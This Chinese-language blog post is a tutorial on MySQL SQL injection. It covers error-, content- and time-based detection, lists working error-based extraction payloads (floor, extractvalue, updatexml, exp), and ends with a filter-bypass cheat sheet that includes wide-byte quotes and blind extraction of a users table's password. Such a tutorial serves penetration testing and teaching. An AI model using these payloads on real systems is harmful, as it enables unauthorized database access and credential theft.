前言
在开始之前我先谈谈我对SQL 注入的三种分类,看过很多文章,每个人基于不同的原理把SQL注入分为很多类,在这其中,我最赞成的是SQL注入与防御中的那种分类方法。上面把SQL注入分为这三类:基于错误,基于时间,基于内容。这同时也是我最赞成的观点。下面的一些叙述都是按照这三个类别来分别叙述的
如何判断SQL 注入
判断 是否是注入 总的思路在于参数后面的内容我们是否可以控制
我认为注入分为这三类,那么判断当然也按照这三类的思路。
基于错误:当我们在参数后面加个单引号,例如id=1’ 可能页面会报错,是直接显示出数据库错误的那种报错。那么可能这里就是一个注入点
基于内容:用基于内容的思路来判断,就是看参数后的内容我们是否可控制,当我们用id=1可以获取一个数据页面的时候,我们可以修改一下参数,我们用id=2-1,或者id=0+1(+号需要编码,%2b)~2B..来试一试,看看返回的页面的内容是不是跟我们id=1返回的内容一致,如果返回的内容一致,那么说明id后面的参数我们是可以控制的,那么也说明这是一个注入点
基于时间:我们一样用id=1来讨论一下吧,如果我们在id=1后面加上一段代码,例如这样and if(1=1,sleep(5),1) ,这是一段if语句,就是如果1=1,则延迟5秒,否则返回1,那么当我们要访问的页面过了一段时间才可以被访问,这就说明了这是个注入点,我们在id=1后面有可以控制的参数
获得我们想要数据的思路
- 基于错误:个人认为基于错误是最简单的,因为他会返回数据库中的错误信息,来让我们省下很多时间,如果可以order by等 ,这些那么就更简单了。
下面提供一些报错语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 通过floor()报错:
http://localhost/index.php?name='+or+(select+1+from(select+count(*),concat(user(),0x7e,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+%23&pass=1
通过extractvalue()报错:
http://localhost/index.php?name='+or+extractvalue(1,concat(user(),0x7e,version()))+%23&pass=1
通过updatexml()报错:
http://localhost/index.php?name='+or+updatexml(1,concat(user(),0x7e,version()),1)+%23&pass=1
通过exp()报错:
http://localhost/index.php?name='+or+EXP(~(SELECT * from(select user())a))+%23&pass=1 通过NAME_CONST(适用于低版本)报错:
http://localhost/index.php?name='+or+(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)+%23&pass=1
|
基于内容:当我们遇到这种id=1,我们可以用id=2-1来获得相同页面的时候,我们可以这样构造语句,id=2-1/(if(user=’root’),1,0),当user是root的时候,if函数返回的值为1,id的值也就是1,返回的页面也就相同,当user不是root,if函数返回的值就是0,2-0=2,返回的页面跟我们id=1的页面是不同的,user=’root’也就是我们可以修改数据来判断的地方
基于时间:基于时间是最花费时间的,因为我们用基于时间的时候时间是不可以设置太小的,例如sleep(2),只延迟2秒。
如果网站访问速度本来就不是怎么快的话,会影响我们对数据的判断的。
基于时间的找我们可以修改数据的方法是在函数后面加判断语句,
我们可以在函数后面加if(user=’root’,sleep(5),1),这样当user=’root’的时候,就会延迟5秒,那么我们也就可以慢慢来判断我们需要的数据了
总的来说:就选择上面
基于错误 > 基于内容 > 基于时间
毕竟基于时间的方法是花费最久的,但是当前两个方法都不可用,也就是报错统一404,返回内容统一一个页面(可是是过滤了敏感参数)的时候,这时候如果是一个注入点,我们就只能用基于时间的方法了。
绕过防御
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| 内联注释:
id=1<span class="hljs-comment">/*!UnIoN*/</span>+<span class="hljs-keyword">SeLeCT</span>+<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-keyword">concat</span>(<span class="hljs-comment">/*!table_name*/</span>)+<span class="hljs-keyword">FrOM</span> <span class="hljs-comment">/*information_schema*/</span>.<span class="hljs-keyword">tables</span> <span class="hljs-comment">/*!WHERE */</span>+<span class="hljs-comment">/*!TaBlE_ScHeMa*/</span>+<span class="hljs-keyword">like</span>+<span class="hljs-keyword">database</span>()<span class="hljs-comment">-- - </span>
编码绕过:
如URLEncode编码,ASCII,HEX,unicode编码绕过
空格绕过:
两个空格代替一个空格,用Tab代替空格 %20 %09 %0a %0b %0c %0d %a0 /**<span class="hljs-regexp">/ </span>
<span class="hljs-regexp">括号绕过空格 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来 select(user())from dual where 1=1 and 2=2;</span>
<span class="hljs-regexp">换行符绕过:</span>
<span class="hljs-regexp">%0a、%0d</span>
<span class="hljs-regexp">宽字节绕过: </span>
<span class="hljs-regexp">过滤单引号时,可以试试宽字节 %bf%27 %df%27 %aa%27</span>
<span class="hljs-regexp">反引号`绕过:</span>
<span class="hljs-regexp"><span class="hljs-keyword">select</span> <span class="hljs-string">`version()`</span>,可以用来过空格和正则,特殊情况下还可以将其做注释符用 </span>
<span class="hljs-regexp">等价函数绕过: </span>
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat() mid()、substr() ==> substring()
@@user ==> user() @@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
|
Author:
Bywalks
Permalink:
http://bywalks.com/2017/09/30/%E6%B5%85%E8%B0%88sql%E6%B3%A8%E5%85%A5/
License:
Copyright (c) 2022 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?